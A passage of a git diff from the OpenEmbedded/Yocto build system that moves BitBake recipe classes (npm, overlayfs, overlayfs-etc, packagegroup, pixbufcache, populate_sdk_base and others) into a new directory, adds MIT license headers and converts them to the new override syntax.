+ bb.warn(peer_dep + " is a peer dependencie that is not in RDEPENDS variable. " +
+ "Please add this peer dependencie to the RDEPENDS variable as %s and generate its recipe with devtool"
+ % peer_dep_yocto_name)
+
+ # Configure the main package
+ with tempfile.TemporaryDirectory() as tmpdir:
+ (tarball, _) = npm_pack(env, d.getVar("S"), tmpdir)
+ npm_unpack(tarball, d.getVar("NPM_PACKAGE"), d)
+
+ # Configure the cached manifest file and cached shrinkwrap file
+ def _update_manifest(depkey):
+ for name in orig_manifest.get(depkey, {}):
+ version = cached_shrinkwrap["packages"][""][depkey][name]
+ if depkey not in cached_manifest:
+ cached_manifest[depkey] = {}
+ cached_manifest[depkey][name] = version
+
+ if has_shrinkwrap_file:
+ _update_manifest("dependencies")
+
+ if dev:
+ if has_shrinkwrap_file:
+ _update_manifest("devDependencies")
+
+ os.chmod(cached_manifest_file, os.stat(cached_manifest_file).st_mode | stat.S_IWUSR)
+ with open(cached_manifest_file, "w") as f:
+ json.dump(cached_manifest, f, indent=2)
+
+ if has_shrinkwrap_file:
+ with open(cached_shrinkwrap_file, "w") as f:
+ json.dump(cached_shrinkwrap, f, indent=2)
+}
+
+python npm_do_compile() {
+ """
+ Step two: install the npm package
+
+ Use the configured main package and the cached dependencies to run the
+ installation process. The installation is done in a directory which is
+ not the destination directory yet.
+
+ A combination of 'npm pack' and 'npm install' is used to ensure that the
+ installed files are actual copies instead of symbolic links (which is the
+ default npm behavior).
+ """
+ import shlex
+ import tempfile
+ from bb.fetch2.npm import NpmEnvironment
+
+ bb.utils.remove(d.getVar("NPM_BUILD"), recurse=True)
+
+ with tempfile.TemporaryDirectory() as tmpdir:
+ args = []
+ configs = npm_global_configs(d)
+
+ if bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False):
+ configs.append(("also", "development"))
+ else:
+ configs.append(("only", "production"))
+
+ # Report as many logs as possible for debugging purpose
+ configs.append(("loglevel", "silly"))
+
+ # Configure the installation to be done globally in the build directory
+ configs.append(("global", "true"))
+ configs.append(("prefix", d.getVar("NPM_BUILD")))
+
+ # Add node-gyp configuration
+ configs.append(("arch", d.getVar("NPM_ARCH")))
+ configs.append(("release", "true"))
+ configs.append(("nodedir", d.getVar("NPM_NODEDIR")))
+ configs.append(("python", d.getVar("PYTHON")))
+
+ env = NpmEnvironment(d, configs)
+
+ # Add node-pre-gyp configuration
+ args.append(("target_arch", d.getVar("NPM_ARCH")))
+ args.append(("build-from-source", "true"))
+
+ # Don't install peer dependencies as they should be in RDEPENDS variable
+ args.append(("legacy-peer-deps", "true"))
+
+ # Pack and install the main package
+ (tarball, _) = npm_pack(env, d.getVar("NPM_PACKAGE"), tmpdir)
+ cmd = "npm install %s %s" % (shlex.quote(tarball), d.getVar("EXTRA_OENPM"))
+ env.run(cmd, args=args)
+}
+
+npm_do_install() {
+ # Step three: final install
+ #
+ # The previous installation have to be filtered to remove some extra files.
+
+ rm -rf ${D}
+
+ # Copy the entire lib and bin directories
+ install -d ${D}/${nonarch_libdir}
+ cp --no-preserve=ownership --recursive ${NPM_BUILD}/lib/. ${D}/${nonarch_libdir}
+
+ if [ -d "${NPM_BUILD}/bin" ]
+ then
+ install -d ${D}/${bindir}
+ cp --no-preserve=ownership --recursive ${NPM_BUILD}/bin/. ${D}/${bindir}
+ fi
+
+ # If the package (or its dependencies) uses node-gyp to build native addons,
+ # object files, static libraries or other temporary files can be hidden in
+ # the lib directory. To reduce the package size and to avoid QA issues
+ # (staticdev with static library files) these files must be removed.
+ local GYP_REGEX=".*/build/Release/[^/]*.node"
+
+ # Remove any node-gyp directory in ${D} to remove temporary build files
+ for GYP_D_FILE in $(find ${D} -regex "${GYP_REGEX}")
+ do
+ local GYP_D_DIR=${GYP_D_FILE%/Release/*}
+
+ rm --recursive --force ${GYP_D_DIR}
+ done
+
+ # Copy only the node-gyp release files
+ for GYP_B_FILE in $(find ${NPM_BUILD} -regex "${GYP_REGEX}")
+ do
+ local GYP_D_FILE=${D}/${prefix}/${GYP_B_FILE#${NPM_BUILD}}
+
+ install -d ${GYP_D_FILE%/*}
+ install -m 755 ${GYP_B_FILE} ${GYP_D_FILE}
+ done
+
+ # Remove the shrinkwrap file which does not need to be packed
+ rm -f ${D}/${nonarch_libdir}/node_modules/*/npm-shrinkwrap.json
+ rm -f ${D}/${nonarch_libdir}/node_modules/@*/*/npm-shrinkwrap.json
+}
+
+FILES:${PN} += " \
+ ${bindir} \
+ ${nonarch_libdir} \
+"
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes-recipe/overlayfs-etc.bbclass b/meta/classes-recipe/overlayfs-etc.bbclass
new file mode 100644
index 0000000000..d339fbbeee
--- /dev/null
+++ b/meta/classes-recipe/overlayfs-etc.bbclass
@@ -0,0 +1,88 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Class for setting up /etc in overlayfs
+#
+# In order to have /etc directory in overlayfs a special handling at early boot stage is required
+# The idea is to supply a custom init script that mounts /etc before launching actual init program,
+# because the latter already requires /etc to be mounted
+#
+# The configuration must be machine specific. You should at least set these three variables:
+# OVERLAYFS_ETC_MOUNT_POINT ?= "/data"
+# OVERLAYFS_ETC_FSTYPE ?= "ext4"
+# OVERLAYFS_ETC_DEVICE ?= "/dev/mmcblk0p2"
+#
+# To control more mount options you should consider setting mount options:
+# OVERLAYFS_ETC_MOUNT_OPTIONS ?= "defaults"
+#
+# The class provides two options for /sbin/init generation
+# 1. Default option is to rename original /sbin/init to /sbin/init.orig and place generated init under
+# original name, i.e. /sbin/init. It has an advantage that you won't need to change any kernel
+# parameters in order to make it work, but it poses a restriction that package-management can't
+# be used, becaause updating init manager would remove generated script
+# 2. If you are would like to keep original init as is, you can set
+# OVERLAYFS_ETC_USE_ORIG_INIT_NAME = "0"
+# Then generated init will be named /sbin/preinit and you would need to extend you kernel parameters
+# manually in your bootloader configuration.
+#
+# Regardless which mode you choose, update and migration strategy of configuration files under /etc
+# overlay is out of scope of this class
+
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", "overlayfs-etc", "create_overlayfs_etc_preinit", "", d)}'
+IMAGE_FEATURES_CONFLICTS_overlayfs-etc = "${@ 'package-management' if bb.utils.to_boolean(d.getVar('OVERLAYFS_ETC_USE_ORIG_INIT_NAME'), True) else ''}"
+
+OVERLAYFS_ETC_MOUNT_POINT ??= ""
+OVERLAYFS_ETC_FSTYPE ??= ""
+OVERLAYFS_ETC_DEVICE ??= ""
+OVERLAYFS_ETC_USE_ORIG_INIT_NAME ??= "1"
+OVERLAYFS_ETC_MOUNT_OPTIONS ??= "defaults"
+OVERLAYFS_ETC_INIT_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-etc-preinit.sh.in"
+OVERLAYFS_ETC_EXPOSE_LOWER ??= "0"
+OVERLAYFS_ETC_CREATE_MOUNT_DIRS ??= "1"
+
+python create_overlayfs_etc_preinit() {
+ overlayEtcMountPoint = d.getVar("OVERLAYFS_ETC_MOUNT_POINT")
+ overlayEtcFsType = d.getVar("OVERLAYFS_ETC_FSTYPE")
+ overlayEtcDevice = d.getVar("OVERLAYFS_ETC_DEVICE")
+
+ if not overlayEtcMountPoint:
+ bb.fatal("OVERLAYFS_ETC_MOUNT_POINT must be set in your MACHINE configuration")
+ if not overlayEtcDevice:
+ bb.fatal("OVERLAYFS_ETC_DEVICE must be set in your MACHINE configuration")
+ if not overlayEtcFsType:
+ bb.fatal("OVERLAYFS_ETC_FSTYPE should contain a valid file system type on {0}".format(overlayEtcDevice))
+
+ with open(d.getVar("OVERLAYFS_ETC_INIT_TEMPLATE"), "r") as f:
+ PreinitTemplate = f.read()
+
+ useOrigInit = oe.types.boolean(d.getVar('OVERLAYFS_ETC_USE_ORIG_INIT_NAME'))
+ preinitPath = oe.path.join(d.getVar("IMAGE_ROOTFS"), d.getVar("base_sbindir"), "preinit")
+ initBaseName = oe.path.join(d.getVar("base_sbindir"), "init")
+ origInitNameSuffix = ".orig"
+ exposeLower = oe.types.boolean(d.getVar('OVERLAYFS_ETC_EXPOSE_LOWER'))
+ createMoundDirs = oe.types.boolean(d.getVar('OVERLAYFS_ETC_CREATE_MOUNT_DIRS'))
+
+ args = {
+ 'OVERLAYFS_ETC_MOUNT_POINT': overlayEtcMountPoint,
+ 'OVERLAYFS_ETC_MOUNT_OPTIONS': d.getVar('OVERLAYFS_ETC_MOUNT_OPTIONS'),
+ 'OVERLAYFS_ETC_FSTYPE': overlayEtcFsType,
+ 'OVERLAYFS_ETC_DEVICE': overlayEtcDevice,
+ 'SBIN_INIT_NAME': initBaseName + origInitNameSuffix if useOrigInit else initBaseName,
+ 'OVERLAYFS_ETC_EXPOSE_LOWER': "true" if exposeLower else "false",
+ 'CREATE_MOUNT_DIRS': "true" if createMoundDirs else "false"
+ }
+
+ if useOrigInit:
+ # rename original /sbin/init
+ origInit = oe.path.join(d.getVar("IMAGE_ROOTFS"), initBaseName)
+ bb.debug(1, "rootfs path %s, init path %s, test %s" % (d.getVar('IMAGE_ROOTFS'), origInit, d.getVar("IMAGE_ROOTFS")))
+ bb.utils.rename(origInit, origInit + origInitNameSuffix)
+ preinitPath = origInit
+
+ with open(preinitPath, 'w') as f:
+ f.write(PreinitTemplate.format(**args))
+ os.chmod(preinitPath, 0o755)
+}
diff --git a/meta/classes-recipe/overlayfs.bbclass b/meta/classes-recipe/overlayfs.bbclass
new file mode 100644
index 0000000000..a82763ec10
--- /dev/null
+++ b/meta/classes-recipe/overlayfs.bbclass
@@ -0,0 +1,142 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Class for generation of overlayfs mount units
+#
+# It's often desired in Embedded System design to have a read-only rootfs.
+# But a lot of different applications might want to have a read-write access to
+# some parts of a filesystem. It can be especially useful when your update mechanism
+# overwrites the whole rootfs, but you want your application data to be preserved
+# between updates. This class provides a way to achieve that by means
+# of overlayfs and at the same time keeping the base rootfs read-only.
+#
+# Usage example.
+#
+# Set a mount point for a partition overlayfs is going to use as upper layer
+# in your machine configuration. Underlying file system can be anything that
+# is supported by overlayfs. This has to be done in your machine configuration.
+# QA check fails to catch file existence if you redefine this variable in your recipe!
+#
+# OVERLAYFS_MOUNT_POINT[data] ?= "/data"
+#
+# Per default the class assumes you have a corresponding fstab entry or systemd
+# mount unit (data.mount in this case) for this mount point installed on the
+# image, for instance via a wks script or the systemd-machine-units recipe.
+#
+# If the mount point is handled somewhere else, e.g. custom boot or preinit
+# scripts or in a initramfs, then this QA check can be skipped by adding
+# mount-configured to the related OVERLAYFS_QA_SKIP flag:
+#
+# OVERLAYFS_QA_SKIP[data] = "mount-configured"
+#
+# To use the overlayfs, you just have to specify writable directories inside
+# their recipe:
+#
+# OVERLAYFS_WRITABLE_PATHS[data] = "/usr/share/my-custom-application"
+#
+# To support several mount points you can use a different variable flag. Assume we
+# want to have a writable location on the file system, but not interested where the data
+# survive a reboot. Then we could have a mnt-overlay.mount unit for a tmpfs file system:
+#
+# OVERLAYFS_MOUNT_POINT[mnt-overlay] = "/mnt/overlay"
+# OVERLAYFS_WRITABLE_PATHS[mnt-overlay] = "/usr/share/another-application"
+#
+# If your recipe deploys a systemd service, then it should require and be
+# started after the ${PN}-overlays.service to make sure that all overlays are
+# mounted beforehand.
+#
+# Note: the class does not support /etc directory itself, because systemd depends on it
+# For /etc directory use overlayfs-etc class
+
+REQUIRED_DISTRO_FEATURES += "systemd overlayfs"
+
+inherit systemd features_check
+
+OVERLAYFS_CREATE_DIRS_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-create-dirs.service.in"
+OVERLAYFS_MOUNT_UNIT_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-unit.mount.in"
+OVERLAYFS_ALL_OVERLAYS_TEMPLATE ??= "${COREBASE}/meta/files/overlayfs-all-overlays.service.in"
+
+python do_create_overlayfs_units() {
+ from oe.overlayfs import mountUnitName
+
+ with open(d.getVar("OVERLAYFS_CREATE_DIRS_TEMPLATE"), "r") as f:
+ CreateDirsUnitTemplate = f.read()
+ with open(d.getVar("OVERLAYFS_MOUNT_UNIT_TEMPLATE"), "r") as f:
+ MountUnitTemplate = f.read()
+ with open(d.getVar("OVERLAYFS_ALL_OVERLAYS_TEMPLATE"), "r") as f:
+ AllOverlaysTemplate = f.read()
+
+ def prepareUnits(data, lower):
+ from oe.overlayfs import helperUnitName
+
+ args = {
+ 'DATA_MOUNT_POINT': data,
+ 'DATA_MOUNT_UNIT': mountUnitName(data),
+ 'CREATE_DIRS_SERVICE': helperUnitName(lower),
+ 'LOWERDIR': lower,
+ }
+
+ bb.debug(1, "Generate systemd unit %s" % mountUnitName(lower))
+ with open(os.path.join(d.getVar('WORKDIR'), mountUnitName(lower)), 'w') as f:
+ f.write(MountUnitTemplate.format(**args))
+
+ bb.debug(1, "Generate helper systemd unit %s" % helperUnitName(lower))
+ with open(os.path.join(d.getVar('WORKDIR'), helperUnitName(lower)), 'w') as f:
+ f.write(CreateDirsUnitTemplate.format(**args))
+
+ def prepareGlobalUnit(dependentUnits):
+ from oe.overlayfs import allOverlaysUnitName
+ args = {
+ 'ALL_OVERLAYFS_UNITS': " ".join(dependentUnits),
+ 'PN': d.getVar('PN')
+ }
+
+ bb.debug(1, "Generate systemd unit with all overlays %s" % allOverlaysUnitName(d))
+ with open(os.path.join(d.getVar('WORKDIR'), allOverlaysUnitName(d)), 'w') as f:
+ f.write(AllOverlaysTemplate.format(**args))
+
+ mountUnitList = []
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT")
+ for mountPoint in overlayMountPoints:
+ bb.debug(1, "Process variable flag %s" % mountPoint)
+ lowerList = d.getVarFlag('OVERLAYFS_WRITABLE_PATHS', mountPoint)
+ if not lowerList:
+ bb.note("No mount points defined for %s flag, skipping" % (mountPoint))
+ continue
+ for lower in lowerList.split():
+ bb.debug(1, "Prepare mount unit for %s with data mount point %s" %
+ (lower, d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint)))
+ prepareUnits(d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint), lower)
+ mountUnitList.append(mountUnitName(lower))
+
+ # set up one unit, which depends on all mount units, so users can set
+ # only one dependency in their units to make sure software starts
+ # when all overlays are mounted
+ prepareGlobalUnit(mountUnitList)
+}
+
+# we need to generate file names early during parsing stage
+python () {
+ from oe.overlayfs import strForBash, unitFileList
+
+ unitList = unitFileList(d)
+ for unit in unitList:
+ d.appendVar('SYSTEMD_SERVICE:' + d.getVar('PN'), ' ' + unit)
+ d.appendVar('FILES:' + d.getVar('PN'), ' ' +
+ d.getVar('systemd_system_unitdir') + '/' + strForBash(unit))
+
+ d.setVar('OVERLAYFS_UNIT_LIST', ' '.join([strForBash(s) for s in unitList]))
+}
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ for unit in ${OVERLAYFS_UNIT_LIST}; do
+ install -m 0444 ${WORKDIR}/${unit} ${D}${systemd_system_unitdir}
+ done
+}
+
+do_create_overlayfs_units[vardeps] += "OVERLAYFS_WRITABLE_PATHS"
+addtask create_overlayfs_units before do_install
diff --git a/meta/classes/packagegroup.bbclass b/meta/classes-recipe/packagegroup.bbclass
index 1541c8fbff..cf6fc354a8 100644
--- a/meta/classes/packagegroup.bbclass
+++ b/meta/classes-recipe/packagegroup.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Class for packagegroup (package group) recipes
# By default, only the packagegroup package itself is in PACKAGES.
@@ -16,7 +22,7 @@ PACKAGE_ARCH_EXPANDED := "${PACKAGE_ARCH}"
LICENSE ?= "MIT"
-inherit ${@oe.utils.ifelse(d.getVar('PACKAGE_ARCH_EXPANDED') == 'all', 'allarch', '')}
+inherit_defer ${@oe.utils.ifelse(d.getVar('PACKAGE_ARCH_EXPANDED') == 'all', 'allarch', '')}
# This automatically adds -dbg and -dev flavours of all PACKAGES
# to the list. Their dependencies (RRECOMMENDS) are handled as usual
@@ -32,7 +38,7 @@ python () {
for suffix in types]
d.setVar('PACKAGES', ' '.join(packages))
for pkg in packages:
- d.setVar('ALLOW_EMPTY_%s' % pkg, '1')
+ d.setVar('ALLOW_EMPTY:%s' % pkg, '1')
}
# We don't want to look at shared library dependencies for the
@@ -48,6 +54,9 @@ deltask do_compile
deltask do_install
deltask do_populate_sysroot
+do_create_runtime_spdx[deptask] = "do_create_spdx"
+do_create_runtime_spdx[rdeptask] = ""
+
INHIBIT_DEFAULT_DEPS = "1"
python () {
diff --git a/meta/classes/perl-version.bbclass b/meta/classes-recipe/perl-version.bbclass
index 84b67b8180..74e33175d9 100644
--- a/meta/classes/perl-version.bbclass
+++ b/meta/classes-recipe/perl-version.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
PERL_OWN_DIR = ""
# Determine the staged version of perl from the perl configuration file
@@ -20,9 +26,6 @@ def get_perl_version(d):
return m.group(1)
return None
-PERLVERSION := "${@get_perl_version(d)}"
-PERLVERSION[vardepvalue] = ""
-
# Determine the staged arch of perl from the perl configuration file
# Assign vardepvalue, because otherwise signature is changed before and after
@@ -43,9 +46,6 @@ def get_perl_arch(d):
return m.group(1)
return None
-PERLARCH := "${@get_perl_arch(d)}"
-PERLARCH[vardepvalue] = ""
-
# Determine the staged arch of perl-native from the perl configuration file
# Assign vardepvalue, because otherwise signature is changed before and after
# perl is built (from None to real version in config.sh).
diff --git a/meta/classes-recipe/perlnative.bbclass b/meta/classes-recipe/perlnative.bbclass
new file mode 100644
index 0000000000..d56ec4ae72
--- /dev/null
+++ b/meta/classes-recipe/perlnative.bbclass
@@ -0,0 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+EXTRANATIVEPATH += "perl-native"
+DEPENDS += "perl-native"
+OECMAKE_PERLNATIVE_DIR = "${STAGING_BINDIR_NATIVE}/perl-native"
diff --git a/meta/classes/pixbufcache.bbclass b/meta/classes-recipe/pixbufcache.bbclass
index b07f51ed56..107e38885e 100644
--- a/meta/classes/pixbufcache.bbclass
+++ b/meta/classes-recipe/pixbufcache.bbclass
@@ -1,9 +1,15 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# This class will generate the proper postinst/postrm scriptlets for pixbuf
# packages.
#
-DEPENDS_append_class-target = " qemu-native"
+DEPENDS:append:class-target = " qemu-native"
inherit qemu
PIXBUF_PACKAGES ??= "${PN}"
@@ -29,30 +35,30 @@ else
fi
}
-python populate_packages_append() {
+python populate_packages:append() {
pixbuf_pkgs = d.getVar('PIXBUF_PACKAGES').split()
for pkg in pixbuf_pkgs:
bb.note("adding pixbuf postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
+ postinst = d.getVar('pkg_postinst:%s' % pkg) or d.getVar('pkg_postinst')
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('pixbufcache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
+ postrm = d.getVar('pkg_postrm:%s' % pkg) or d.getVar('pkg_postrm')
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('pixbufcache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
}
gdkpixbuf_complete() {
GDK_PIXBUF_FATAL_LOADER=1 ${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders --update-cache || exit 1
}
-DEPENDS_append_class-native = " gdk-pixbuf-native"
-SYSROOT_PREPROCESS_FUNCS_append_class-native = " pixbufcache_sstate_postinst"
+DEPENDS:append:class-native = " gdk-pixbuf-native"
+SYSROOT_PREPROCESS_FUNCS:append:class-native = " pixbufcache_sstate_postinst"
pixbufcache_sstate_postinst() {
mkdir -p ${SYSROOT_DESTDIR}${bindir}
diff --git a/meta/classes-recipe/pkgconfig.bbclass b/meta/classes-recipe/pkgconfig.bbclass
new file mode 100644
index 0000000000..1e1f3824dd
--- /dev/null
+++ b/meta/classes-recipe/pkgconfig.bbclass
@@ -0,0 +1,8 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+DEPENDS:prepend = "pkgconfig-native "
+
diff --git a/meta/classes-recipe/populate_sdk.bbclass b/meta/classes-recipe/populate_sdk.bbclass
new file mode 100644
index 0000000000..caeef5d2b2
--- /dev/null
+++ b/meta/classes-recipe/populate_sdk.bbclass
@@ -0,0 +1,13 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# The majority of populate_sdk is located in populate_sdk_base
+# This chunk simply facilitates compatibility with SDK only recipes.
+
+inherit populate_sdk_base
+
+addtask populate_sdk after do_install before do_build
+
diff --git a/meta/classes/populate_sdk_base.bbclass b/meta/classes-recipe/populate_sdk_base.bbclass
index 990505e89b..81896d808f 100644
--- a/meta/classes/populate_sdk_base.bbclass
+++ b/meta/classes-recipe/populate_sdk_base.bbclass
@@ -1,4 +1,12 @@
-inherit meta image-postinst-intercepts
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+PACKAGES = ""
+
+inherit image-postinst-intercepts image-artifact-names
# Wildcards specifying complementary packages to install for every package that has been explicitly
# installed into the rootfs
@@ -7,7 +15,7 @@ COMPLEMENTARY_GLOB[staticdev-pkgs] = '*-staticdev'
COMPLEMENTARY_GLOB[doc-pkgs] = '*-doc'
COMPLEMENTARY_GLOB[dbg-pkgs] = '*-dbg'
COMPLEMENTARY_GLOB[src-pkgs] = '*-src'
-COMPLEMENTARY_GLOB[ptest-pkgs] = '*-ptest'
+COMPLEMENTARY_GLOB[ptest-pkgs] = '*-ptest ${MLPREFIX}ptest-runner'
COMPLEMENTARY_GLOB[bash-completion-pkgs] = '*-bash-completion'
def complementary_globs(featurevar, d):
@@ -23,13 +31,13 @@ SDKIMAGE_FEATURES ??= "dev-pkgs dbg-pkgs src-pkgs ${@bb.utils.contains('DISTRO_F
SDKIMAGE_INSTALL_COMPLEMENTARY = '${@complementary_globs("SDKIMAGE_FEATURES", d)}'
SDKIMAGE_INSTALL_COMPLEMENTARY[vardeps] += "SDKIMAGE_FEATURES"
-PACKAGE_ARCHS_append_task-populate-sdk = " sdk-provides-dummy-target"
+PACKAGE_ARCHS:append:task-populate-sdk = " sdk-provides-dummy-target"
SDK_PACKAGE_ARCHS += "sdk-provides-dummy-${SDKPKGSUFFIX}"
# List of locales to install, or "all" for all of them, or unset for none.
SDKIMAGE_LINGUAS ?= "all"
-inherit rootfs_${IMAGE_PKGTYPE}
+inherit_defer rootfs_${IMAGE_PKGTYPE}
SDK_DIR = "${WORKDIR}/sdk"
SDK_OUTPUT = "${SDK_DIR}/image"
@@ -37,13 +45,28 @@ SDK_DEPLOY = "${DEPLOY_DIR}/sdk"
SDKDEPLOYDIR = "${WORKDIR}/${SDKMACHINE}-deploy-${PN}-populate-sdk"
-B_task-populate-sdk = "${SDK_DIR}"
+B:task-populate-sdk = "${SDK_DIR}"
SDKTARGETSYSROOT = "${SDKPATH}/sysroots/${REAL_MULTIMACH_TARGET_SYS}"
-TOOLCHAIN_HOST_TASK ?= "nativesdk-packagegroup-sdk-host packagegroup-cross-canadian-${MACHINE}"
+SDK_TOOLCHAIN_LANGS ??= ""
+SDK_TOOLCHAIN_LANGS:remove:sdkmingw32 = "rust"
+# libstd-rs doesn't build for mips n32 with compiler constraint errors
+SDK_TOOLCHAIN_LANGS:remove:mipsarchn32 = "rust"
+
+TOOLCHAIN_HOST_TASK ?= " \
+ nativesdk-packagegroup-sdk-host \
+ packagegroup-cross-canadian-${MACHINE} \
+ ${@bb.utils.contains('SDK_TOOLCHAIN_LANGS', 'go', 'packagegroup-go-cross-canadian-${MACHINE}', '', d)} \
+ ${@bb.utils.contains('SDK_TOOLCHAIN_LANGS', 'rust', 'packagegroup-rust-cross-canadian-${MACHINE}', '', d)} \
+"
TOOLCHAIN_HOST_TASK_ATTEMPTONLY ?= ""
-TOOLCHAIN_TARGET_TASK ?= "${@multilib_pkg_extend(d, 'packagegroup-core-standalone-sdk-target')} target-sdk-provides-dummy"
+TOOLCHAIN_TARGET_TASK ?= " \
+ ${@multilib_pkg_extend(d, 'packagegroup-core-standalone-sdk-target')} \
+ ${@bb.utils.contains('SDK_TOOLCHAIN_LANGS', 'go', multilib_pkg_extend(d, 'packagegroup-go-sdk-target'), '', d)} \
+ ${@bb.utils.contains('SDK_TOOLCHAIN_LANGS', 'rust', multilib_pkg_extend(d, 'libstd-rs'), '', d)} \
+ target-sdk-provides-dummy \
+"
TOOLCHAIN_TARGET_TASK_ATTEMPTONLY ?= ""
TOOLCHAIN_OUTPUTNAME ?= "${SDK_NAME}-toolchain-${SDK_VERSION}"
@@ -51,6 +74,8 @@ TOOLCHAIN_OUTPUTNAME ?= "${SDK_NAME}-toolchain-${SDK_VERSION}"
SDK_ARCHIVE_TYPE ?= "tar.xz"
SDK_XZ_COMPRESSION_LEVEL ?= "-9"
SDK_XZ_OPTIONS ?= "${XZ_DEFAULTS} ${SDK_XZ_COMPRESSION_LEVEL}"
+SDK_ZIP_OPTIONS ?= "-y"
+
# To support different sdk type according to SDK_ARCHIVE_TYPE, now support zip and tar.xz
python () {
@@ -58,7 +83,7 @@ python () {
d.setVar('SDK_ARCHIVE_DEPENDS', 'zip-native')
# SDK_ARCHIVE_CMD used to generate archived sdk ${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE} from input dir ${SDK_OUTPUT}/${SDKPATH} to output dir ${SDKDEPLOYDIR}
# recommand to cd into input dir first to avoid archive with buildpath
- d.setVar('SDK_ARCHIVE_CMD', 'cd ${SDK_OUTPUT}/${SDKPATH}; zip -r -y ${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE} .')
+ d.setVar('SDK_ARCHIVE_CMD', 'cd ${SDK_OUTPUT}/${SDKPATH}; zip -r ${SDK_ZIP_OPTIONS} ${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE} .')
else:
d.setVar('SDK_ARCHIVE_DEPENDS', 'xz-native')
d.setVar('SDK_ARCHIVE_CMD', 'cd ${SDK_OUTPUT}/${SDKPATH}; tar ${SDKTAROPTS} -cf - . | xz ${SDK_XZ_OPTIONS} > ${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.${SDK_ARCHIVE_TYPE}')
@@ -66,7 +91,7 @@ python () {
SDK_RDEPENDS = "${TOOLCHAIN_TARGET_TASK} ${TOOLCHAIN_HOST_TASK}"
SDK_DEPENDS = "virtual/fakeroot-native ${SDK_ARCHIVE_DEPENDS} cross-localedef-native nativesdk-qemuwrapper-cross ${@' '.join(["%s-qemuwrapper-cross" % m for m in d.getVar("MULTILIB_VARIANTS").split()])} qemuwrapper-cross"
-PATH_prepend = "${STAGING_DIR_HOST}${SDKPATHNATIVE}${bindir}/crossscripts:${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
+PATH:prepend = "${WORKDIR}/recipe-sysroot/${SDKPATHNATIVE}${bindir}/crossscripts:${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
SDK_DEPENDS += "nativesdk-glibc-locale"
# We want the MULTIARCH_TARGET_SYS to point to the TUNE_PKGARCH, not PACKAGE_ARCH as it
@@ -90,6 +115,8 @@ SDK_HOST_MANIFEST = "${SDKDEPLOYDIR}/${TOOLCHAIN_OUTPUTNAME}.host.manifest"
SDK_EXT_TARGET_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.target.manifest"
SDK_EXT_HOST_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.host.manifest"
+SDK_PRUNE_SYSROOT_DIRS ?= "/dev"
+
python write_target_sdk_manifest () {
from oe.sdk import sdk_list_installed_packages
from oe.utils import format_pkg_list
@@ -101,6 +128,12 @@ python write_target_sdk_manifest () {
output.write(format_pkg_list(pkgs, 'ver'))
}
+sdk_prune_dirs () {
+ for d in ${SDK_PRUNE_SYSROOT_DIRS}; do
+ rm -rf ${SDK_OUTPUT}${SDKTARGETSYSROOT}$d
+ done
+}
+
python write_sdk_test_data() {
from oe.data import export2json
testdata = "%s/%s.testdata.json" % (d.getVar('SDKDEPLOYDIR'), d.getVar('TOOLCHAIN_OUTPUTNAME'))
@@ -119,15 +152,17 @@ python write_host_sdk_manifest () {
output.write(format_pkg_list(pkgs, 'ver'))
}
-POPULATE_SDK_POST_TARGET_COMMAND_append = " write_sdk_test_data ; "
-POPULATE_SDK_POST_TARGET_COMMAND_append_task-populate-sdk = " write_target_sdk_manifest ; "
-POPULATE_SDK_POST_HOST_COMMAND_append_task-populate-sdk = " write_host_sdk_manifest; "
-SDK_PACKAGING_COMMAND = "${@'${SDK_PACKAGING_FUNC};' if '${SDK_PACKAGING_FUNC}' else ''}"
-SDK_POSTPROCESS_COMMAND = " create_sdk_files; check_sdk_sysroots; archive_sdk; ${SDK_PACKAGING_COMMAND} "
+POPULATE_SDK_POST_TARGET_COMMAND:append = " write_sdk_test_data"
